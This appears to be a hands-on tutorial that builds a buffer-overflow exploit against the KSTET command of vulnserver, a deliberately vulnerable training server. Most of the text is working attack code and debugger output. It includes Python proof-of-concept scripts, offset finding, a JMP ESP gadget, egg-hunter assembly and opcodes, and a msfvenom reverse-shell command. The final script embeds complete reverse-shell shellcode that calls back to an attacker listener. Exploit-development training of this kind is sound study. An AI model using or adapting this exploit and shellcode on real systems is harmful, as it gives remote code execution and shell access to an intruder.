There are some situation when our shellcode does not fit in small memory space. In this case we might be able to store our payload into a bigger memory address. But how we find the address? It is EGG which find the shellcode location by searching specific string(Tag) and start executing the code right after the tag. I will  

Vulnerable application: https://github.com/stephenbradshaw/vulnserver

Crash

POC:

import socket

vulCommand = b"KSTET \r\n"
buffer = b"A"*1000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.20',9999))
s.send((vulCommand+buffer))
s.close()

Attach vulnserver in windbg and send the 1000 A

python3 egg.py

As a result the application crash:

0:003> g
(1e9c.2188): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00bdf978 ebx=00000110 ecx=007410b0 edx=00008ee6 esi=00401848 edi=00401848
eip=41414141 esp=00bdf9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ?? 

0:001> dd esp
00bdf9c8  41414141 41414141 41414141 41414141
00bdf9d8  41414141 45534a2e 029e9118 00008ee6
00bdf9e8  0000000a b60000b6 00740e00 0000000f
00bdf9f8  00000048 00000019 00000000 48000048
00bdfa08  008e4b20 00000050 00000048 00741040
00bdfa18  008e4510 008e0000 00000002 00000001
00bdfa28  01000119 0000000f 008e5cf8 008e0000
00bdfa38  0000000f 008e5cf8 008e5d00 00000007

It does not hold all 1000 A. hmmm.

Find JMP ESP

As we control EIP we need a jmp esp instruction to land in esp where we will put our egg code to find the tag. JMP ESP hex code is FFE4

Get application based dll’s start and end address to find FFE4

0:001> lmD
start    end        module name
00400000 00407000   vulnserver   (deferred)             
62500000 62508000   essfunc    (deferred)             
74420000 74472000   mswsock    (pdb symbols)          C:\ProgramData\Dbg\sym\wmswsock.pdb\D557D9A49DED51BC076065C002AD1CF31\wmswsock.pdb
75320000 75534000   KERNELBASE   (deferred)             
76c80000 76d3f000   msvcrt     (deferred)             
76d40000 76e30000   KERNEL32   (pdb symbols)          C:\ProgramData\Dbg\sym\wkernel32.pdb\9C8170B9D14765D62322038024B7973A1\wkernel32.pdb
76f10000 76f73000   WS2_32     (deferred)             
772e0000 7739f000   RPCRT4     (deferred)             
773b0000 77553000   ntdll      (pdb symbols)          C:\ProgramData\Dbg\sym\wntdll.pdb\B6EB6DFF017F36A18E8034D67B4DA9941\wntdll.pdb

So the start address 62500000 and end address 62508000

For jmp esp opcode is ffe4. Let’s see in action

0:001> s -b 62500000 62508000 0xff 0xe4
625011af  ff e4 ff e0 58 58 c3 5d-c3 55 89 e5 ff e4 ff e1  ....XX.].U......
625011bb  ff e4 ff e1 5b 5b c3 5d-c3 55 89 e5 ff e4 ff e3  ....[[.].U......
625011c7  ff e4 ff e3 5d 5d c3 5d-c3 55 89 e5 ff e4 ff e7  ....]].].U......
625011d3  ff e4 ff e7 5b 5b c3 5d-c3 55 89 e5 ff e4 ff e2  ....[[.].U......
625011df  ff e4 ff e2 59 5a c3 5d-c3 55 89 e5 ff e4 ff e6  ....YZ.].U......
625011eb  ff e4 ff e6 59 58 c3 5d-c3 55 89 e5 ff e4 ff e5  ....YX.].U......
625011f7  ff e4 ff e5 58 5a c3 5d-c3 55 89 e5 ff e4 ff e4  ....XZ.].U......
62501203  ff e4 ff e4 ff 64 24 f4-59 59 c3 5d c3 55 89 e5  .....d$.YY.].U..
62501205  ff e4 ff 64 24 f4 59 59-c3 5d c3 55 89 e5 81 ec  ...d$.YY.].U....

Found severals but We will use 625011af .

Pattern Offset

To save time, we found the jmp esp instruction. But we need to find the exact offset. Okay, Let’s do it.

msf-pattern_create -l 1000

In exploit script replace A with the pattern and send again. When it crashes take the eip value and

└─$ msf-pattern_offset -q 33634132
[*] Exact match at offset 68

Okay, only 68 bytes to control EIP. Let’s see if it works. To verify i will set a breakpoint(Restart vulnserver).

0:003> bp 625011af
0:003> g
Breakpoint 0 hit
eax=0094f978 ebx=00000100 ecx=00cc10b0 edx=0000eb75 esi=00401848 edi=00401848
eip=625011af esp=0094f9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
essfunc!EssentialFunc2+0x3:
625011af ffe4            jmp     esp {0094f9c8}

The EGG Hunting

VulnServer has several commands to use. Let’s see if we have enough space. Modified exploit script:

import socket

vulCommand = b"KSTET \r\n"
buffer = b"A"*68
eip = b"\xaf\x11\x50\x62"
shellcode = b"w00tw00t"+b"C"*(1000-len(buffer))
buf = buffer+eip+shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.20',9999))
s.send((vulCommand+buf))
s.close()

Let’s see if it is possible to find the tag:

0:003> s -a 0x0 L?80000000 w00tw00t
00681090  77 30 30 74 77 30 30 74-43 43 43 43 43 43 43 43  w00tw00tCCCCCCCC

0:003> dc 00681090
00681090  74303077 74303077 43434343 43434343  w00tw00tCCCCCCCC
006810a0  43434343 45534a2e df54766d 0000504b  CCCC.JSEmvT.KP..
006810b0  006849f8 00680e00 434f5250 4f535345  .Ih...h.PROCESSO
006810c0  52415f52 54494843 55544345 783d4552  R_ARCHITECTURE=x
006810d0  50003638 45434f52 524f5353 4352415f  86.PROCESSOR_ARC
006810e0  45544948 33343657 4d413d32 00343644  HITEW6432=AMD64.
006810f0  434f5250 4f535345 44495f52 49544e45  PROCESSOR_IDENTI
00681100  52454946 746e493d 34366c65 6d614620  FIER=Intel64 Fam

Yes, the tag is there but Only few bytes of CCCC is there! So we need to use another command to send our malicious bytes:

import socket

pre = b"KSTET \r\n"
buffer = b"A"*68
eip = b"\xaf\x11\x50\x62" #625011af
shellcode = b"w00tw00t"+b"C"*(1000-len(buffer))
buf = buffer+eip

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.20',9999))
s.send((b"GMON "+shellcode))
s.close()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.20',9999))
s.send((pre+buf))
s.close()

As a result we see w00t and 100s of CCCC is stored in another address of the memory:

0:004> s -a 0x0 L?80000000 w00tw00t #Search everywhere
007035ed  77 30 30 74 77 30 30 74-43 43 43 43 43 43 43 43  w00tw00tCCCCCCCC
0:004> dc 007035ed
007035ed  74303077 74303077 43434343 43434343  w00tw00tCCCCCCCC
007035fd  43434343 43434343 43434343 43434343  CCCCCCCCCCCCCCCC
0070360d  43434343 43434343 43434343 43434343  CCCCCCCCCCCCCCCC
0070361d  43434343 43434343 43434343 43434343  CCCCCCCCCCCCCCCC
0070362d  43434343 43434343 43434343 43434343  CCCCCCCCCCCCCCCC
0070363d  43434343 43434343 43434343 43434343  CCCCCCCCCCCCCCCC
0070364d  43434343 43434343 43434343 43434343  CCCCCCCCCCCCCCCC
0070365d  43434343 43434343 43434343 43434343  CCCCCCCCCCCCCCCC

Now we just need EGG hunter to search the tag for us and land there to execute our shellcode. Here is the egg asm code:

        or dx, 0x0fff           0x66 0x81 0xca 0xff 0x0f 
    loop_inc_one:               
        inc edx                 0x42               
        push edx                0x52 
        xor eax, eax            0x31 0xc0 
        add ax, 0x1C8           0x66 0x05 0xc8 0x01 
        int 0x2e                0xcd 0x2e 
        cmp al, 05              0x3c 0x05 
        pop edx                 0x5a 
    loop_check_valid:           
        je loop_inc_page        0x74 0xec 
    is_egg:                     
        mov eax, 0x74303077     0xb8 0x77 0x30 0x30 0x74 
        mov edi, edx            0x89 0xd7 
        scasd                   0xaf 
        jnz loop_inc_one        0x75 0xe7 
    first_half_found:           
        scasd                   0xaf 
        jnz loop_inc_one        0x75 0xe4 
    matched_both_halves:        
        jmp edi                 0xff 0xe7 

EGG hunter opcodes will be look like this

\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc8\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7

Code Execution

Generate Shellcode

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.17 lport=1337 -b '\x00\x0a\x0d' -f python

Updated exploit script(Each line is explained by commenting):

import socket


byte_size = 68

#Search w00tw00t string
egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc8\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"

#Shellcode
buf =  b""
buf += b"\xbb\x2d\xd3\xd6\xa8\xda\xd2\xd9\x74\x24\xf4\x5f\x2b"
buf += b"\xc9\xb1\x52\x31\x5f\x12\x83\xc7\x04\x03\x72\xdd\x34"
buf += b"\x5d\x70\x09\x3a\x9e\x88\xca\x5b\x16\x6d\xfb\x5b\x4c"
buf += b"\xe6\xac\x6b\x06\xaa\x40\x07\x4a\x5e\xd2\x65\x43\x51"
buf += b"\x53\xc3\xb5\x5c\x64\x78\x85\xff\xe6\x83\xda\xdf\xd7"
buf += b"\x4b\x2f\x1e\x1f\xb1\xc2\x72\xc8\xbd\x71\x62\x7d\x8b"
buf += b"\x49\x09\xcd\x1d\xca\xee\x86\x1c\xfb\xa1\x9d\x46\xdb"
buf += b"\x40\x71\xf3\x52\x5a\x96\x3e\x2c\xd1\x6c\xb4\xaf\x33"
buf += b"\xbd\x35\x03\x7a\x71\xc4\x5d\xbb\xb6\x37\x28\xb5\xc4"
buf += b"\xca\x2b\x02\xb6\x10\xb9\x90\x10\xd2\x19\x7c\xa0\x37"
buf += b"\xff\xf7\xae\xfc\x8b\x5f\xb3\x03\x5f\xd4\xcf\x88\x5e"
buf += b"\x3a\x46\xca\x44\x9e\x02\x88\xe5\x87\xee\x7f\x19\xd7"
buf += b"\x50\xdf\xbf\x9c\x7d\x34\xb2\xff\xe9\xf9\xff\xff\xe9"
buf += b"\x95\x88\x8c\xdb\x3a\x23\x1a\x50\xb2\xed\xdd\x97\xe9"
buf += b"\x4a\x71\x66\x12\xab\x58\xad\x46\xfb\xf2\x04\xe7\x90"
buf += b"\x02\xa8\x32\x36\x52\x06\xed\xf7\x02\xe6\x5d\x90\x48"
buf += b"\xe9\x82\x80\x73\x23\xab\x2b\x8e\xa4\x14\x03\x91\x25"
buf += b"\xfd\x56\x91\x40\xc4\xdf\x77\x20\x26\xb6\x20\xdd\xdf"
buf += b"\x93\xba\x7c\x1f\x0e\xc7\xbf\xab\xbd\x38\x71\x5c\xcb"
buf += b"\x2a\xe6\xac\x86\x10\xa1\xb3\x3c\x3c\x2d\x21\xdb\xbc"
buf += b"\x38\x5a\x74\xeb\x6d\xac\x8d\x79\x80\x97\x27\x9f\x59"
buf += b"\x41\x0f\x1b\x86\xb2\x8e\xa2\x4b\x8e\xb4\xb4\x95\x0f"
buf += b"\xf1\xe0\x49\x46\xaf\x5e\x2c\x30\x01\x08\xe6\xef\xcb"
buf += b"\xdc\x7f\xdc\xcb\x9a\x7f\x09\xba\x42\x31\xe4\xfb\x7d"
buf += b"\xfe\x60\x0c\x06\xe2\x10\xf3\xdd\xa6\x21\xbe\x7f\x8e"
buf += b"\xa9\x67\xea\x92\xb7\x97\xc1\xd1\xc1\x1b\xe3\xa9\x35"
buf += b"\x03\x86\xac\x72\x83\x7b\xdd\xeb\x66\x7b\x72\x0b\xa3"

## all are nops instead of "A".
buffer = (b"\x90"*30) 

## Egg hunter is also part our buffer. Later, We will do a short jump here
buffer += egghunter 

## Rest of the buffer for successful overflow(in total it is 68)
buffer += b"\x90"*(68-len(egghunter)-30) 

###625011af, this is the jmp esp address
eip = b"\xaf\x11\x50\x62"

###I am prepending the w00tw00t before shellcode start. egg code will search this string,come here and execute our shellcode
shellcode = b"w00tw00t"+buf 


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.21',9990))

### First we send our shellcode without crashing the application
s.send((b"GDOG "+shellcode))
s.close()

vulCommand = b"KSTET \r\n" ### Second Command

#Okay, Jump back to 60 bytes where the egg code exist.
buff = buffer+eip+b"\xeb\xc2" 		

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.21',9990))

s.send((vulCommand+buff+b"\x90"*200)) 

print(s.recv(1024))
s.close()

Let’s send the shellcode and debug again 

Set break point at jmp esp. We see it jumps to 00a8f9c8 which have another short jump to the address 00a8f998. But,What is in there?

We set another break point at 00a8f998. And Yes, It is our egg hunter:

So it is working fine. After letting windbg to continue nc will have a shell:

There are lots of things to improve. If anyone have any advice, don’t hesitate to mail me!